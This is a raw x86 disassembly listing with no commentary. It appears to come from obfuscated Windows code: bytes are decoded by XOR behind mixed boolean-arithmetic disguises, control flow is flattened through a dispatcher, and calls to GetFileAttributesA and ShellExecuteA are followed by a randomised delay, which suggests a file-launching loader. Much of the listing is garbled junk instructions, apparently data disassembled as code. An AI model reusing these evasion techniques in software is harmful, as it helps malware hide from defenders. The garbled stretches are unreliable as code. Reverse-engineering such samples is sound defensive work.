mov cl, byte [0x10224ab8]
xor cl, 0xd6
mov byte [0x10224ac1], cl
dec edx
and dl, byte [eax]
mov dl, byte [0x10224ab9]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x4e
xor cl, 0xff
mov ch, 0xff
xor ch, 0x4e
mov dh, 0xff
xor dh, 0x4e
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x10224ac2], cl
mov dh, byte [0x10224aba]
mov cl, dh
xor cl, 0xff
and cl, 0xdb
mov ch, 0xff
xor ch, 0xdb
and dh, ch
mov dl, 0xff
xor dl, 0xb9
and dl, 0xdb
and ch, 0xb9
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x10224ac3], cl
mov cl, byte [0x10224abb]
xor cl, 0xa7
mov byte [0x10224ac4], cl
mov cl, byte [0x10224abc]
xor cl, 0xb2
mov byte [0x10224ac5], cl
mov cl, byte [0x10224abd]
xor cl, 0x92
mov byte [str.__a__], cl
mov dl, byte [0x10224abe]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x8e
or ch, 0x8e
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x8e
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x10224ac7], cl
mov cl, byte [0x10224abf]
xor cl, 0x75
mov byte [0x10224ac8], cl
mov cl, byte [0x10224ac0]
and dl, byte [eax]
mov dl, cl
xor dl, 0x41
xor dl, 0xff
and dl, 0x41
shl dl, 1
sub dl, 0x41
sub cl, dl
mov byte [0x10224ac9], cl
mov dword [eax], 0x1a47a0
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
push cs
inc ebp
in al, 0xe
invalid
mov eax, dword [ebp - 0x1c]
or dword [ebx], ebp
jbe 0x1013ad8d
inc edx
cmc
pop ecx
jecxz 0x1013adb4
xchg esi, eax
or edx, edi
adc dh, byte [ebp + 0x56e824cf]
enter 0xffffffffffffc7c3, 0
mov al, byte [0xe9c07783]
add dword [ebx], 0
add byte [ebx - 0x38fe1bbb], cl
push ss
bound ebp, qword [edi]
test byte [eax], dl
imul ebx, dword [ecx - 0x204bb2d1], 0xbb56c25c
invalid
add byte [ebx - 0x59381bbb], cl
and ebx, dword [esi + 0x16114ac2]
dec esp
mov eax, 0x34ef80b7
jns 0x1013ae91
mov eax, dword [ebp - 0x1c]
invalid
mov dword [eax], 0xb7b86886
jmp 0x1013b172
mov eax, dword [ebp - 0x50]
sahf
mov ecx, 0xf44f61f4
xchg edx, ebp
lodsb al, byte [esi]
mov dh, bh
enter 0xffffffffffffec83, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
in al, 0x22
and dl, byte [eax]
mov ecx, dword [ebp - 0x54]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0xb773546b
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
adc byte [0xd63fd5d0], bh
aas
salc
jns 0x1013aec4
lahf
js 0x1013ae3b
mov word [ebp + 0x3f9721b3], gs
stc
mov edx, 0xaf00c74f
rcr dh, 1
sub ecx, 0xffffffc6
add al, byte [eax]
add byte [ebx - 0x62e61bbb], cl
inc esi
mov dword [edx - 0x56458977], ecx
cmp dword [eax - 0x30], eax
sub ah, byte [ebx]
dec ebp
invalid
mov eax, dword [ebp - 0x1c]
sbb dword [ebp - 0x767576ba], ebx
jbe 0x1013ae71
test eax, 0x2ad04039
and ecx, dword [ebp - 0x3b]
mov dword [eax], 0x12073ed7
jmp 0x1013b172
adc ch, cl
test al, 2
add byte [eax], al
mov eax, dword [ebp - 0x1c]
ret 0xf405
mov eax, dword [ebp - 0x1c]
and eax, 0xf8770d48
pop edi
cmp dword [esi - 0x48f07401], edi
mov dword [eax], 0x277218e2
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
inc ecx
pop esi
xchg cl, ch
add ebx, dword [ebp + 0x7ba44ce6]
and al, 0xde
xchg ebx, eax
and byte [eax + eax*8 + 0x1f00c7], cl
adc al, 0xed
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
wait
and eax, 0x31a4c9c4
insb byte es:[edi], dx
sub edi, dword [eax - 0x38bb1c52]
add byte [ecx + edi*2 + 0x38e9f4f6], ch
add al, byte [eax]
add byte [ebx + 0x25e6e445], cl
mov eax, dword [ebp - 0x1c]
out 0x25, al
movsd dword es:[edi], dword [esi]
daa
insb byte es:[edi], dx
popal
int 0xff
int1
sal ah, cl
mov eax, dword [0x2baa6968]
mov esi, 0x69a263b6
sub al, 0xb3
dec eax
lodsb al, byte [esi]
leave
cmp eax, 0xa0c239f4
outsd dx, dword [esi]
mov cl, byte [0x10224ab8]
xor cl, 0xd6
mov byte [0x10224ac1], cl
mov dl, byte [0x10224ab9]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x4e
or cl, ch
mov ch, 0xff
xor ch, 0x4e
mov dh, 0xff
xor dh, 0x4e
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x10224ac2], cl
mov cl, byte [0x10224aba]
mov dl, cl
and dl, 0xb9
shl dl, 1
add cl, 0xb9
sub cl, dl
mov byte [0x10224ac3], cl
mov dl, byte [0x10224abb]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa7
or cl, ch
mov ch, 0xa7
and ch, 0xa7
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x10224ac4], cl
mov cl, byte [0x10224abc]
xor cl, 0xb2
mov byte [0x10224ac5], cl
mov dl, byte [0x10224abd]
mov cl, dl
xor cl, 0xff
and cl, 0x92
mov ch, 0xff
xor ch, 0x92
and dl, ch
or cl, dl
mov byte [str.__a__], cl
mov cl, byte [0x10224abe]
xor cl, 0x8e
mov byte [0x10224ac7], cl
mov dl, byte [0x10224abf]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x75
or cl, ch
mov ch, 0xff
xor ch, 0x75
mov dh, 0xff
xor dh, 0x75
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x10224ac8], cl
mov dh, byte [0x10224ac0]
dec edx
and dl, byte [eax]
mov cl, dh
xor cl, 0xff
and cl, 0xac
mov ch, 0xff
xor ch, 0xac
and dh, ch
mov dl, 0xff
xor dl, 0x41
and dl, 0xac
and ch, 0x41
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x10224ac9], cl
mov dword [eax], 0x5846f050
jmp 0x1013b172
mov eax, dword [ebp - 0x50]
nop
inc edx
mov dl, 0x17
loope 0x1013b070
jp 0x1013b11c
lodsd eax, dword [esi]
sal ch, cl
into
cmp eax, 0xe8374fe2
clc
movsd dword es:[edi], dword [esi]
xor eax, 0xbb7535fe
nop
fist word [eax - 0x76fb137d]
add al, 0x24
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, dword [ebp - 0x54]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0x629e4a6d
jmp 0x1013b172
invalid
dec edx
sahf
invalid
mov eax, dword [ebp - 0x50]
push ecx
sub al, 0x17
push ss
xchg edi, eax
mov ch, 1
loopne 0x1013b0dc
xchg ecx, eax
jb 0x1013b0bc
jbe 0x1013b166
mov ah, 0xaa
inc esp
add dword [eax - 0x21], 0x79
pop esp
push ebx
and ecx, edx
pop edi
leave
into
invalid
add al, 0x89
inc esp
and al, 8
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 4
mov dword [esp], 1
call fcn.10057790
add esp, 4
mov ecx, eax
mov eax, 0x1770
cdq
idiv ecx
sub esp, 4
mov dword [esp], eax
call fcn.10057790
add esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x759b1d1
jmp 0x10133906